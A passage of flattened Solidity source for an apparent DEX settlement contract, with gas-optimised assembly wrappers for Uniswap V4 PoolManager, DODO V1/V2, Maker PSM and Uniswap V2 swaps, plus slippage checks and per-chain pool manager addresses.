UnsafeMath for uint256; using NotesLib for NotesLib.Note; using NotesLib for NotesLib.Note[]; function _callSelector(uint256 selector, IERC20 token, address to, uint256 amount) internal { assembly ("memory-safe") { token := shl(0x60, token) if iszero(amount) { mstore(0x20, token) mstore(0x00, 0xcbf0dbf5000000000000000000000000) // selector for `ZeroBuyAmount(address)` with `token`'s padding revert(0x10, 0x24) } // save the free memory pointer because we're about to clobber it let ptr := mload(0x40) mstore(0x60, amount) mstore(0x40, to) mstore(0x2c, mul(iszero(eq(0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee000000000000000000000000, token)), token)) // clears `to`'s padding mstore(0x0c, shl(0x60, selector)) // clears `token`'s padding if iszero(call(gas(), caller(), 0x00, 0x1c, 0x64, 0x00, 0x00)) { returndatacopy(ptr, 0x00, returndatasize()) revert(ptr, returndatasize()) } // restore clobbered slots mstore(0x60, 0x00) mstore(0x40, ptr) } } /// `take` is responsible for removing the accumulated credit in each token from the vault. The /// current `state.buy` is the global buy token. We return the settled amount of that token /// (`buyAmount`), after checking it against the slippage limit (`minBuyAmount`). Each token /// with credit causes a corresponding call to `msg.sender.<selector>(token, recipient, /// amount)`. function take( State state, NotesLib.Note[] memory notes, uint32 selector, address recipient, uint256 minBuyAmount ) internal returns (uint256 buyAmount) { notes.del(state.buy()); if (state.sell().amount() == 0) { notes.del(state.sell()); } uint256 length = notes.length; // `length` of zero implies that we fully liquidated the global sell token (there is no // `amount` remaining) and that the only token in which we have credit is the global buy // token. We're about to `take` that token below. if (length != 0) { { NotesLib.Note memory firstNote = notes[0]; // out-of-bounds is impossible if (!firstNote.eq(state.globalSell())) { // The global sell token being in a position other than the 1st would imply that // at some point we _bought_ that token. This is illegal and results in a revert // with reason `BoughtSellToken(address)`. _callSelector(selector, firstNote.token, address(this), firstNote.amount); } } for (uint256 i = 1; i < length; i = i.unsafeInc()) { (IERC20 token, uint256 amount) = notes.unsafeGet(i); _callSelector(selector, token, address(this), amount); } } // The final token to be bought is considered the global buy token. We bypass `notes` and // read it directly from `state`. Check the slippage limit. Transfer to the recipient. { IERC20 buyToken = state.buy().token(); buyAmount = state.buy().amount(); if (buyAmount < minBuyAmount) { revertTooMuchSlippage(buyToken, minBuyAmount, buyAmount); } _callSelector(selector, buyToken, recipient, buyAmount); } } } // src/SettlerAbstract.sol abstract contract SettlerAbstract is Permit2PaymentAbstract { // Permit2 Witness for meta transactions string internal constant SLIPPAGE_AND_ACTIONS_TYPE = "SlippageAndActions(address recipient,address buyToken,uint256 minAmountOut,bytes[] actions)"; bytes32 internal constant SLIPPAGE_AND_ACTIONS_TYPEHASH = 0x615e8d716cef7295e75dd3f1f10d679914ad6d7759e8e9459f0109ef75241701; // Permit2 Witness for intents string internal constant SLIPPAGE_TYPE = "Slippage(address recipient,address buyToken,uint256 minAmountOut)"; bytes32 internal constant SLIPPAGE_TYPEHASH = 0xdc83993a2ffc65b01b71ed08790b6e39c5c55d76937b62a3b5085b02071f1259; uint256 internal constant BASIS = 10_000; IERC20 internal constant ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); constructor() { assert(SLIPPAGE_AND_ACTIONS_TYPEHASH == keccak256(bytes(SLIPPAGE_AND_ACTIONS_TYPE))); assert(SLIPPAGE_TYPEHASH == keccak256(bytes(SLIPPAGE_TYPE))); } function _hasMetaTxn() internal pure virtual returns (bool); function _tokenId() internal pure virtual returns (uint256); function _dispatch(uint256 i, uint256 action, bytes calldata data) internal virtual returns (bool); function _div512to256(uint512 n, uint512 d) internal view virtual returns (uint256); } // src/core/UniswapV4Types.sol type IHooks is address; /// @dev Two `int128` values packed into a single `int256` where the upper 128 bits represent the amount0 /// and the lower 128 bits represent the amount1. type BalanceDelta is int256; using BalanceDeltaLibrary for BalanceDelta global; /// @notice Library for getting the amount0 and amount1 deltas from the BalanceDelta type library BalanceDeltaLibrary { function amount0(BalanceDelta balanceDelta) internal pure returns (int128 _amount0) { assembly ("memory-safe") { _amount0 := sar(128, balanceDelta) } } function amount1(BalanceDelta balanceDelta) internal pure returns (int128 _amount1) { assembly ("memory-safe") { _amount1 := signextend(15, balanceDelta) } } } interface IPoolManager { /// @notice All interactions on the contract that account deltas require unlocking. A caller that calls `unlock` must implement /// `IUnlockCallback(msg.sender).unlockCallback(data)`, where they interact with the remaining functions on this contract. /// @dev The only functions callable without an unlocking are `initialize` and `updateDynamicLPFee` /// @param data Any data to pass to the callback, via `IUnlockCallback(msg.sender).unlockCallback(data)` /// @return The data returned by the call to `IUnlockCallback(msg.sender).unlockCallback(data)` function unlock(bytes calldata data) external returns (bytes memory); /// @notice Returns the key for identifying a pool struct PoolKey { /// @notice The lower token of the pool, sorted numerically IERC20 token0; /// @notice The higher token of the pool, sorted numerically IERC20 token1; /// @notice The pool LP fee, capped at 1_000_000. If the highest bit is 1, the pool has a dynamic fee and must be exactly equal to 0x800000 uint24 fee; /// @notice Ticks that involve positions must be a multiple of tick spacing int24 tickSpacing; /// @notice The hooks of the pool IHooks hooks; } struct SwapParams { /// Whether to swap token0 for token1 or vice versa bool zeroForOne; /// The desired input amount if negative (exactIn), or the desired output amount if positive (exactOut) int256 amountSpecified; /// The sqrt price at which, if reached, the swap will stop executing uint160 sqrtPriceLimitX96; } /// @notice Swap against the given pool /// @param key The pool to swap in /// @param params The parameters for swapping /// @param hookData The data to pass through to the swap hooks /// @return swapDelta The balance delta of the address swapping /// @dev Swapping on low liquidity pools may cause unexpected swap amounts when liquidity available is less than amountSpecified. /// Additionally note that if interacting with hooks that have the BEFORE_SWAP_RETURNS_DELTA_FLAG or AFTER_SWAP_RETURNS_DELTA_FLAG /// the hook may alter the swap input/output. Integrators should perform checks on the returned swapDelta. function swap(PoolKey memory key, SwapParams memory params, bytes calldata hookData) external returns (BalanceDelta swapDelta); /// @notice Writes the current ERC20 balance of the specified token to transient storage /// This is used to checkpoint balances for the manager and derive deltas for the caller. /// @dev This MUST be called before any ERC20 tokens are sent into the contract, but can be skipped /// for native tokens because the amount to settle is determined by the sent value. /// However, if an ERC20 token has been synced and not settled, and the caller instead wants to settle /// native funds, this function can be called with the native currency to then be able to settle the native currency function sync(IERC20 token) external; /// @notice Called by the user to net out some value owed to the user /// @dev Can also be used as a mechanism for _free_ flash loans /// @param token The token to withdraw from the pool manager /// @param to The address to withdraw to /// @param amount The amount of token to withdraw function take(IERC20 token, address to, uint256 amount) external; /// @notice Called by the user to pay what is owed /// @return paid The amount of token settled function settle() external payable returns (uint256 paid); } /// Solc emits code that is both gas inefficient and codesize bloated. By reimplementing these /// function calls in Yul, we obtain significant improvements. Solc also emits an EXTCODESIZE check /// when an external function doesn't return anything (`sync`). Obviously, we know that POOL_MANAGER /// has code, so this omits those checks. Also, for compatibility, these functions identify /// `SettlerAbstract.ETH_ADDRESS` (the address of all `e`s) and replace it with `address(0)`. library UnsafePoolManager { function unsafeSync(IPoolManager poolManager, IERC20 token) internal { // It is the responsibility of the calling code to determine whether `token` is // `ETH_ADDRESS` and substitute it with `IERC20(address(0))` appropriately. This delegation // of responsibility is required because a call to `unsafeSync(0)` must be followed by a // value-bearing call to `unsafeSettle` instead of using `IERC20.safeTransfer` assembly ("memory-safe") { mstore(0x14, token) mstore(0x00, 0xa5841194000000000000000000000000) // selector for `sync(address)` if iszero(call(gas(), poolManager, 0x00, 0x10, 0x24, 0x00, 0x00)) { let ptr := mload(0x40) returndatacopy(ptr, 0x00, returndatasize()) revert(ptr, returndatasize()) } } } function unsafeSwap( IPoolManager poolManager, IPoolManager.PoolKey memory key, IPoolManager.SwapParams memory params, bytes calldata hookData ) internal returns (BalanceDelta r) { assembly ("memory-safe") { let ptr := mload(0x40) mstore(ptr, 0xf3cd914c) // selector for `swap((address,address,uint24,int24,address),(bool,int256,uint160),bytes)` let token0 := mload(key) token0 := mul(token0, iszero(eq(0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee, token0))) mstore(add(0x20, ptr), token0) mcopy(add(0x40, ptr), add(0x20, key), 0x80) mcopy(add(0xc0, ptr), params, 0x60) mstore(add(0x120, ptr), 0x120) mstore(add(0x140, ptr), hookData.length) calldatacopy(add(0x160, ptr), hookData.offset, hookData.length) if iszero(call(gas(), poolManager, 0x00, add(0x1c, ptr), add(0x144, hookData.length), 0x00, 0x20)) { returndatacopy(ptr, 0x00, returndatasize()) revert(ptr, returndatasize()) } r := mload(0x00) } } function unsafeSettle(IPoolManager poolManager, uint256 value) internal returns (uint256 r) { assembly ("memory-safe") { mstore(0x00, 0x11da60b4) // selector for `settle()` if iszero(call(gas(), poolManager, value, 0x1c, 0x04, 0x00, 0x20)) { let ptr := mload(0x40) returndatacopy(ptr, 0x00, returndatasize()) revert(ptr, returndatasize()) } r := mload(0x00) } } function unsafeSettle(IPoolManager poolManager) internal returns (uint256) { return unsafeSettle(poolManager, 0); } } /// @notice Interface for the callback executed when an address unlocks the pool manager interface IUnlockCallback { /// @notice Called by the pool manager on `msg.sender` when the manager is unlocked /// @param data The data that was passed to the call to unlock /// @return Any data that you want to be returned from the unlock call function unlockCallback(bytes calldata data) external returns (bytes memory); } // src/core/UniswapV4Addresses.sol IPoolManager constant MAINNET_POOL_MANAGER = IPoolManager(0x000000000004444c5dc75cB358380D2e3dE08A90); IPoolManager constant ARBITRUM_POOL_MANAGER = IPoolManager(0x360E68faCcca8cA495c1B759Fd9EEe466db9FB32); IPoolManager constant AVALANCHE_POOL_MANAGER = IPoolManager(0x06380C0e0912312B5150364B9DC4542BA0DbBc85); IPoolManager constant BASE_POOL_MANAGER = IPoolManager(0x498581fF718922c3f8e6A244956aF099B2652b2b); IPoolManager constant BLAST_POOL_MANAGER = IPoolManager(0x1631559198A9e474033433b2958daBC135ab6446); IPoolManager constant BNB_POOL_MANAGER = IPoolManager(0x28e2Ea090877bF75740558f6BFB36A5ffeE9e9dF); IPoolManager constant OPTIMISM_POOL_MANAGER = IPoolManager(0x9a13F98Cb987694C9F086b1F5eB990EeA8264Ec3); IPoolManager constant POLYGON_POOL_MANAGER = IPoolManager(0x67366782805870060151383F4BbFF9daB53e5cD6); IPoolManager constant WORLDCHAIN_POOL_MANAGER = IPoolManager(0xb1860D529182ac3BC1F51Fa2ABd56662b7D13f33); IPoolManager constant INK_POOL_MANAGER = IPoolManager(0x360E68faCcca8cA495c1B759Fd9EEe466db9FB32); IPoolManager constant UNICHAIN_POOL_MANAGER = IPoolManager(0x1F98400000000000000000000000000000000004); // https://github.com/Uniswap/contracts/blob/main/deployments/130.md#wed-jan-22-2025 IPoolManager constant SEPOLIA_POOL_MANAGER = IPoolManager(0xE03A1074c86CFeDd5C142C4F04F1a1536e203543); // src/core/DodoV1.sol interface IDodoV1 { function sellBaseToken(uint256 amount, uint256 minReceiveQuote, bytes calldata data) external returns (uint256); function buyBaseToken(uint256 amount, uint256 maxPayQuote, bytes calldata data) external returns (uint256); function _R_STATUS_() external view returns (uint8); function _QUOTE_BALANCE_() external view returns (uint256); function _BASE_BALANCE_() external view returns (uint256); function _K_() external view returns (uint256); function _MT_FEE_RATE_() external view returns (uint256); function _LP_FEE_RATE_() external view returns (uint256); function getExpectedTarget() external view returns (uint256 baseTarget, uint256 quoteTarget); function getOraclePrice() external view returns (uint256); function _BASE_TOKEN_() external view returns (IERC20); function _QUOTE_TOKEN_() external view returns (IERC20); } library FastDodoV1 { function _callAddressUintEmptyBytesReturnUint(IDodoV1 dodo, uint256 sig, uint256 a, uint256 b) private returns (uint256 r) { assembly ("memory-safe") { let ptr := mload(0x40) mstore(ptr, sig) mstore(add(0x20, ptr), a) mstore(add(0x40, ptr), b) mstore(add(0x60, ptr), 0x60) mstore(add(0x80, ptr), 0x00) if iszero(call(gas(), dodo, 0x00, add(0x1c, ptr), 0x84, 0x00, 0x20)) { returndatacopy(ptr, 0x00, returndatasize()) revert(ptr, returndatasize()) } if iszero(gt(returndatasize(), 0x1f)) { revert(0x00, 0x00) } r := mload(0x00) } } function fastSellBaseToken(IDodoV1 dodo, uint256 amount, uint256 minReceiveQuote) internal returns (uint256) { return _callAddressUintEmptyBytesReturnUint(dodo, uint32(dodo.sellBaseToken.selector), amount, minReceiveQuote); } function fastBuyBaseToken(IDodoV1 dodo, uint256 amount, uint256 maxPayQuote) internal returns (uint256) { return _callAddressUintEmptyBytesReturnUint(dodo, uint32(dodo.buyBaseToken.selector), amount, maxPayQuote); } function _get(IDodoV1 dodo, uint256 sig) private view returns (bytes32 r) { assembly ("memory-safe") { mstore(0x00, sig) if iszero(staticcall(gas(), dodo, 0x1c, 0x04, 0x00, 0x20)) { let ptr := mload(0x40) returndatacopy(ptr, 0x00, returndatasize()) revert(ptr, returndatasize()) } if iszero(gt(returndatasize(), 0x1f)) { revert(0x00, 0x00) } r := mload(0x00) } } function fast_R_STATUS_(IDodoV1 dodo) internal view returns (uint8) { uint256 result = uint256(_get(dodo, uint32(dodo._R_STATUS_.selector))); require(result >> 8 == 0); return uint8(result); } function fast_QUOTE_BALANCE_(IDodoV1 dodo) internal view returns (uint256) { return uint256(_get(dodo, uint32(dodo._QUOTE_BALANCE_.selector))); } function fast_BASE_BALANCE_(IDodoV1 dodo) internal view returns (uint256) { return uint256(_get(dodo, uint32(dodo._BASE_BALANCE_.selector))); } function fast_K_(IDodoV1 dodo) internal view returns (uint256) { return uint256(_get(dodo, uint32(dodo._K_.selector))); } function fast_MT_FEE_RATE_(IDodoV1 dodo) internal view returns (uint256) { return uint256(_get(dodo, uint32(dodo._MT_FEE_RATE_.selector))); } function fast_LP_FEE_RATE_(IDodoV1 dodo) internal view returns (uint256) { return uint256(_get(dodo, uint32(dodo._LP_FEE_RATE_.selector))); } function fastGetExpectedTarget(IDodoV1 dodo) internal view returns (uint256 baseTarget, uint256 quoteTarget) { assembly ("memory-safe") { mstore(0x00, 0xffa64225) if iszero(staticcall(gas(), dodo, 0x1c, 0x04, 0x00, 0x40)) { let ptr := mload(0x40) returndatacopy(ptr, 0x00, returndatasize()) revert(ptr, returndatasize()) } if iszero(gt(returndatasize(), 0x3f)) { revert(0x00, 0x00) } baseTarget := mload(0x00) quoteTarget := mload(0x20) } } function fastGetOraclePrice(IDodoV1 dodo) internal view returns (uint256) { return uint256(_get(dodo, uint32(dodo.getOraclePrice.selector))); } function fast_BASE_TOKEN_(IDodoV1 dodo) internal view returns (IERC20) { uint256 result = uint256(_get(dodo, uint32(dodo._BASE_TOKEN_.selector))); require(result >> 160 == 0); return IERC20(address(uint160(result))); } function fast_QUOTE_TOKEN_(IDodoV1 dodo) internal view returns (IERC20) { uint256 result = uint256(_get(dodo, uint32(dodo._QUOTE_TOKEN_.selector))); require(result >> 160 == 0); return IERC20(address(uint160(result))); } } library Math_1 { using UnsafeMath for uint256; function sqrt(uint256 x) internal pure returns (uint256 y) { unchecked { uint256 z = x / 2 + 1; y = x; while (z < y) { y = z; z = (x.unsafeDiv(z) + z) / 2; } } } } library DecimalMath { using UnsafeMath for uint256; using Math_1 for uint256; uint256 constant ONE = 10 ** 18; function mul(uint256 target, uint256 d) internal pure returns (uint256) { unchecked { return target * d / ONE; } } function mulCeil(uint256 target, uint256 d) internal pure returns (uint256) { unchecked { return (target * d).unsafeDivUp(ONE); } } function divFloor(uint256 target, uint256 d) internal pure returns (uint256) { unchecked { return (target * ONE).unsafeDiv(d); } } function divCeil(uint256 target, uint256 d) internal pure returns (uint256) { unchecked { return (target * ONE).unsafeDivUp(d); } } } library DodoMath { using UnsafeMath for uint256; using Math_1 for uint256; /* Integrate dodo curve fron V1 to V2 require V0>=V1>=V2>0 res = (1-k)i(V1-V2)+ikV0*V0(1/V2-1/V1) let V1-V2=delta res = i*delta*(1-k+k(V0^2/V1/V2)) */ function _GeneralIntegrate(uint256 V0, uint256 V1, uint256 V2, uint256 i, uint256 k) internal pure returns (uint256) { unchecked { uint256 fairAmount = DecimalMath.mul(i, V1 - V2); // i*delta uint256 V0V0V1V2 = DecimalMath.divCeil((V0 * V0).unsafeDiv(V1), V2); uint256 penalty = DecimalMath.mul(k, V0V0V1V2); // k(V0^2/V1/V2) return DecimalMath.mul(fairAmount, DecimalMath.ONE - k + penalty); } } /* The same with integration expression above, we have: i*deltaB = (Q2-Q1)*(1-k+kQ0^2/Q1/Q2) Given Q1 and deltaB, solve Q2 This is a quadratic function and the standard version is aQ2^2 + bQ2 + c = 0, where a=1-k -b=(1-k)Q1-kQ0^2/Q1+i*deltaB c=-kQ0^2 and Q2=(-b+sqrt(b^2+4(1-k)kQ0^2))/2(1-k) note: another root is negative, abondan if deltaBSig=true, then Q2>Q1 if deltaBSig=false, then Q2<Q1 */ function _SolveQuadraticFunctionForTrade(uint256 Q0, uint256 Q1, uint256 ideltaB, bool deltaBSig, uint256 k) internal pure returns (uint256) { unchecked { // calculate -b value and sig // -b = (1-k)Q1-kQ0^2/Q1+i*deltaB uint256 kQ02Q1 = (DecimalMath.mul(k, Q0) * Q0).unsafeDiv(Q1); // kQ0^2/Q1 uint256 b = DecimalMath.mul(DecimalMath.ONE - k, Q1); // (1-k)Q1 bool minusbSig = true; if (deltaBSig) { b += ideltaB; // (1-k)Q1+i*deltaB } else { kQ02Q1 += ideltaB; // i*deltaB+kQ0^2/Q1 } if (b >= kQ02Q1) { b -= kQ02Q1; minusbSig = true; } else { b = kQ02Q1 - b; minusbSig = false; } // calculate sqrt uint256 squareRoot = DecimalMath.mul((DecimalMath.ONE - k) * 4, DecimalMath.mul(k, Q0) * Q0); // 4(1-k)kQ0^2 squareRoot = (b * b + squareRoot).sqrt(); // sqrt(b*b+4(1-k)kQ0*Q0) // final res uint256 denominator = (DecimalMath.ONE - k) * 2; // 2(1-k) uint256 numerator; if (minusbSig) { numerator = b + squareRoot; } else { numerator = squareRoot - b; } if (deltaBSig) { return DecimalMath.divFloor(numerator, denominator); } else { return DecimalMath.divCeil(numerator, denominator); } } } /* Start from the integration function i*deltaB = (Q2-Q1)*(1-k+kQ0^2/Q1/Q2) Assume Q2=Q0, Given Q1 and deltaB, solve Q0 let fairAmount = i*deltaB */ function _SolveQuadraticFunctionForTarget(uint256 V1, uint256 k, uint256 fairAmount) internal pure returns (uint256 V0) { unchecked { // V0 = V1+V1*(sqrt-1)/2k uint256 sqrt = DecimalMath.divCeil(DecimalMath.mul(k, fairAmount) * 4, V1); sqrt = ((sqrt + DecimalMath.ONE) * DecimalMath.ONE).sqrt(); uint256 premium = DecimalMath.divCeil(sqrt - DecimalMath.ONE, k * 2); // V0 is greater than or equal to V1 according to the solution return DecimalMath.mul(V1, DecimalMath.ONE + premium); } } } abstract contract DodoSellHelper { using Math_1 for uint256; using FastDodoV1 for IDodoV1; enum RStatus { ONE, ABOVE_ONE, BELOW_ONE } struct DodoState { uint256 oraclePrice; uint256 K; uint256 B; uint256 Q; uint256 baseTarget; uint256 quoteTarget; RStatus rStatus; } function dodoQuerySellQuoteToken(IDodoV1 dodo, uint256 amount) internal view returns (uint256) { DodoState memory state; (state.baseTarget, state.quoteTarget) = dodo.fastGetExpectedTarget(); state.rStatus = RStatus(dodo.fast_R_STATUS_()); state.oraclePrice = dodo.fastGetOraclePrice(); state.Q = dodo.fast_QUOTE_BALANCE_(); state.B = dodo.fast_BASE_BALANCE_(); state.K = dodo.fast_K_(); unchecked { uint256 boughtAmount; // Determine the status (RStatus) and calculate the amount based on the // state if (state.rStatus == RStatus.ONE) { boughtAmount = _ROneSellQuoteToken(amount, state); } else if (state.rStatus == RStatus.ABOVE_ONE) { boughtAmount = _RAboveSellQuoteToken(amount, state); } else { uint256 backOneBase = state.B - state.baseTarget; uint256 backOneQuote = state.quoteTarget - state.Q; if (amount <= backOneQuote) { boughtAmount = _RBelowSellQuoteToken(amount, state); } else { boughtAmount = backOneBase + _ROneSellQuoteToken(amount - backOneQuote, state); } } // Calculate fees return DecimalMath.divFloor( boughtAmount, DecimalMath.ONE + dodo.fast_MT_FEE_RATE_() + dodo.fast_LP_FEE_RATE_() ); } } function _ROneSellQuoteToken(uint256 amount, DodoState memory state) private pure returns (uint256 receiveBaseToken) { unchecked { uint256 i = DecimalMath.divFloor(DecimalMath.ONE, state.oraclePrice); uint256 B2 = DodoMath._SolveQuadraticFunctionForTrade( state.baseTarget, state.baseTarget, DecimalMath.mul(i, amount), false, state.K ); return state.baseTarget - B2; } } function _RAboveSellQuoteToken(uint256 amount, DodoState memory state) private pure returns (uint256 receieBaseToken) { unchecked { uint256 i = DecimalMath.divFloor(DecimalMath.ONE, state.oraclePrice); uint256 B2 = DodoMath._SolveQuadraticFunctionForTrade( state.baseTarget, state.B, DecimalMath.mul(i, amount), false, state.K ); return state.B - B2; } } function _RBelowSellQuoteToken(uint256 amount, DodoState memory state) private pure returns (uint256 receiveBaseToken) { unchecked { uint256 Q1 = state.Q + amount; uint256 i = DecimalMath.divFloor(DecimalMath.ONE, state.oraclePrice); return DodoMath._GeneralIntegrate(state.quoteTarget, Q1, state.Q, i, state.K); } } } abstract contract DodoV1 is SettlerAbstract, DodoSellHelper { using UnsafeMath for uint256; using SafeTransferLib for IERC20; using FastDodoV1 for IDodoV1; function sellToDodoV1(IERC20 sellToken, uint256 bps, IDodoV1 dodo, bool quoteForBase, uint256 minBuyAmount) internal { uint256 sellAmount; unchecked { sellAmount = (sellToken.fastBalanceOf(address(this)) * bps).unsafeDiv(BASIS); } sellToken.safeApproveIfBelow(address(dodo), sellAmount); if (quoteForBase) { uint256 buyAmount = dodoQuerySellQuoteToken(dodo, sellAmount); if (buyAmount < minBuyAmount) { revertTooMuchSlippage(dodo.fast_BASE_TOKEN_(), minBuyAmount, buyAmount); } dodo.fastBuyBaseToken(buyAmount, sellAmount); } else { dodo.fastSellBaseToken(sellAmount, minBuyAmount); } } } // src/core/DodoV2.sol interface IDodoV2 { function sellBase(address to) external returns (uint256 receiveQuoteAmount); function sellQuote(address to) external returns (uint256 receiveBaseAmount); function _BASE_TOKEN_() external view returns (IERC20); function _QUOTE_TOKEN_() external view returns (IERC20); } library FastDodoV2 { function _callAddressReturnUint(IDodoV2 dodo, uint256 sig, address addr) private returns (uint256 r) { assembly ("memory-safe") { mstore(0x14, addr) mstore(0x00, shl(0x60, sig)) if iszero(call(gas(), dodo, 0x00, 0x10, 0x24, 0x00, 0x20)) { let ptr := mload(0x40) returndatacopy(ptr, 0x00, returndatasize()) revert(ptr, returndatasize()) } if iszero(gt(returndatasize(), 0x1f)) { revert(0x00, 0x00) } r := mload(0x00) } } function fastSellBase(IDodoV2 dodo, address to) internal returns (uint256 receiveQuoteAmount) { return _callAddressReturnUint(dodo, uint32(dodo.sellBase.selector), to); } function fastSellQuote(IDodoV2 dodo, address to) internal returns (uint256 receiveBaseAmount) { return _callAddressReturnUint(dodo, uint32(dodo.sellQuote.selector), to); } function _get(IDodoV2 dodo, uint256 sig) private view returns (bytes32 r) { assembly ("memory-safe") { mstore(0x00, sig) if iszero(staticcall(gas(), dodo, 0x1c, 0x04, 0x00, 0x20)) { let ptr := mload(0x40) returndatacopy(ptr, 0x00, returndatasize()) revert(ptr, returndatasize()) } if iszero(gt(returndatasize(), 0x1f)) { revert(0x00, 0x00) } r := mload(0x00) } } function fast_BASE_TOKEN_(IDodoV2 dodo) internal view returns (IERC20) { uint256 result = uint256(_get(dodo, uint32(dodo._BASE_TOKEN_.selector))); require(result >> 160 == 0); return IERC20(address(uint160(result))); } function fast_QUOTE_TOKEN_(IDodoV2 dodo) internal view returns (IERC20) { uint256 result = uint256(_get(dodo, uint32(dodo._QUOTE_TOKEN_.selector))); require(result >> 160 == 0); return IERC20(address(uint160(result))); } } abstract contract DodoV2 is SettlerAbstract { using UnsafeMath for uint256; using SafeTransferLib for IERC20; using FastDodoV2 for IDodoV2; function sellToDodoV2( address recipient, IERC20 sellToken, uint256 bps, IDodoV2 dodo, bool quoteForBase, uint256 minBuyAmount ) internal returns (uint256 buyAmount) { if (bps != 0) { uint256 sellAmount; unchecked { sellAmount = (sellToken.fastBalanceOf(address(this)) * bps).unsafeDiv(BASIS); } sellToken.safeTransfer(address(dodo), sellAmount); } if (quoteForBase) { buyAmount = dodo.fastSellQuote(recipient); if (buyAmount < minBuyAmount) { revertTooMuchSlippage(dodo.fast_BASE_TOKEN_(), minBuyAmount, buyAmount); } } else { buyAmount = dodo.fastSellBase(recipient); if (buyAmount < minBuyAmount) { revertTooMuchSlippage(dodo.fast_QUOTE_TOKEN_(), minBuyAmount, buyAmount); } } } } // src/core/MakerPSM.sol interface IPSM { /// @dev Get the fee for selling DAI to USDC in PSM /// @return tout toll out [wad] function tout() external view returns (uint256); /// @dev Get the address of the underlying vault powering PSM /// @return address of gemJoin contract function gemJoin() external view returns (address); /// @dev Sell USDC for DAI /// @param usr The address of the account trading USDC for DAI. /// @param gemAmt The amount of USDC to sell in USDC base units /// @return daiOutWad The amount of Dai bought. function sellGem(address usr, uint256 gemAmt) external returns (uint256 daiOutWad); /// @dev Buy USDC for DAI /// @param usr The address of the account trading DAI for USDC /// @param gemAmt The amount of USDC to buy in USDC base units /// @return daiInWad The amount of Dai required to sell. function buyGem(address usr, uint256 gemAmt) external returns (uint256 daiInWad); } library FastPSM { function fastSellGem(IPSM psm, address usr, uint256 gemAmt) internal returns (uint256 daiOutWad) { assembly ("memory-safe") { mstore(0x34, gemAmt) mstore(0x14, usr) mstore(0x00, 0x95991276000000000000000000000000) // selector for `sellGem(address,uint256)` with `usr`'s padding if iszero(call(gas(), psm, 0x00, 0x10, 0x44, 0x00, 0x20)) { let ptr := and(0xffffffffffffffffffffffff, mload(0x40)) returndatacopy(ptr, 0x00, returndatasize()) revert(ptr, returndatasize()) } if iszero(gt(returndatasize(), 0x1f)) { revert(0x00, 0x00) } mstore(0x34, 0x00) daiOutWad := mload(0x00) } } function fastBuyGem(IPSM psm, address usr, uint256 gemAmt) internal returns (uint256 daiInWad) { assembly ("memory-safe") { mstore(0x34, gemAmt) mstore(0x14, usr) mstore(0x00, 0x8d7ef9bb000000000000000000000000) // selector for `buyGem(address,uint256)` with `usr`'s padding if iszero(call(gas(), psm, 0x00, 0x10, 0x44, 0x00, 0x20)) { let ptr := and(0xffffffffffffffffffffffff, mload(0x40)) returndatacopy(ptr, 0x00, returndatasize()) revert(ptr, returndatasize()) } if iszero(gt(returndatasize(), 0x1f)) { revert(0x00, 0x00) } mstore(0x34, 0x00) daiInWad := mload(0x00) } } } // Maker units https://github.com/makerdao/dss/blob/master/DEVELOPING.md // wad: fixed point decimal with 18 decimals (for basic quantities, e.g. balances) uint256 constant WAD = 10 ** 18; IERC20 constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); IPSM constant LitePSM = IPSM(0xf6e72Db5454dd049d0788e411b06CfAF16853042); abstract contract MakerPSM is SettlerAbstract { using UnsafeMath for uint256; using SafeTransferLib for IERC20; using FastPSM for IPSM; uint256 private immutable USDC_basis; constructor() { assert(block.chainid == 1 || block.chainid == 31337); DAI.safeApprove(address(LitePSM), type(uint256).max); // LitePSM is its own join USDC.safeApprove(address(LitePSM), type(uint256).max); USDC_basis = 10 ** USDC.decimals(); } function sellToMakerPsm(address recipient, uint256 bps, bool buyGem, uint256 amountOutMin) internal returns (uint256 buyAmount) { if (buyGem) { unchecked { // phantom overflow can't happen here because DAI has decimals = 18 uint256 sellAmount = (DAI.fastBalanceOf(address(this)) * bps).unsafeDiv(BASIS); uint256 feeDivisor = LitePSM.tout() + WAD; // eg. 1.001 * 10 ** 18 with 0.1% fee [tout is in wad]; // overflow can't happen at all because DAI is reasonable and PSM prohibits gemToken with decimals > 18 buyAmount = (sellAmount * USDC_basis).unsafeDiv(feeDivisor); if (buyAmount < amountOutMin) { revertTooMuchSlippage(USDC, amountOutMin, buyAmount); } // DAI.safeApproveIfBelow(address(LitePSM), sellAmount); LitePSM.fastBuyGem(recipient, buyAmount); } } else { // phantom overflow can't happen here because PSM prohibits gemToken with decimals > 18 uint256 sellAmount; unchecked { sellAmount = (USDC.fastBalanceOf(address(this)) * bps).unsafeDiv(BASIS); } // USDC.safeApproveIfBelow(LitePSM.gemJoin(), sellAmount); buyAmount = LitePSM.fastSellGem(recipient, sellAmount); if (buyAmount < amountOutMin) { revertTooMuchSlippage(DAI, amountOutMin, buyAmount); } } } } // src/core/UniswapV2.sol interface IUniV2Pair { function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112, uint112, uint32); function swap(uint256, uint256, address, bytes calldata) external; } abstract contract UniswapV2 is SettlerAbstract { using SafeTransferLib for IERC20; // bytes4(keccak256("getReserves()")) uint32 private constant UNI_PAIR_RESERVES_SELECTOR = 0x0902f1ac; // bytes4(keccak256("swap(uint256,uint256,address,bytes)")) uint32 private constant UNI_PAIR_SWAP_SELECTOR = 0x022c0d9f; // bytes4(keccak256("transfer(address,uint256)")) uint32 private constant ERC20_TRANSFER_SELECTOR = 0xa9059cbb; // bytes4(keccak256("balanceOf(address)")) uint32 private constant ERC20_BALANCEOF_SELECTOR = 0x70a08231; /// @dev Sell a token for another token using UniswapV2. function sellToUniswapV2( address recipient, address sellToken, uint256 bps, address pool, uint24 swapInfo, uint256 minBuyAmount ) internal { // Preventing calls to Permit2 or AH is not explicitly required as neither of these contracts implement the `swap` nor `transfer` selector // |7|6|5|4|3|2|1|0| - bit positions in swapInfo (uint8) // |0|0|0|0|0|0|F|Z| - Z: zeroForOne flag, F: sellTokenHasFee flag bool zeroForOne = (swapInfo & 1) == 1; // Extract the least significant bit (bit 0) bool sellTokenHasFee = (swapInfo & 2) >> 1 == 1; // Extract the second least significant bit (bit 1) and shift it right uint256 feeBps = swapInfo >> 8; uint256 sellAmount; uint256 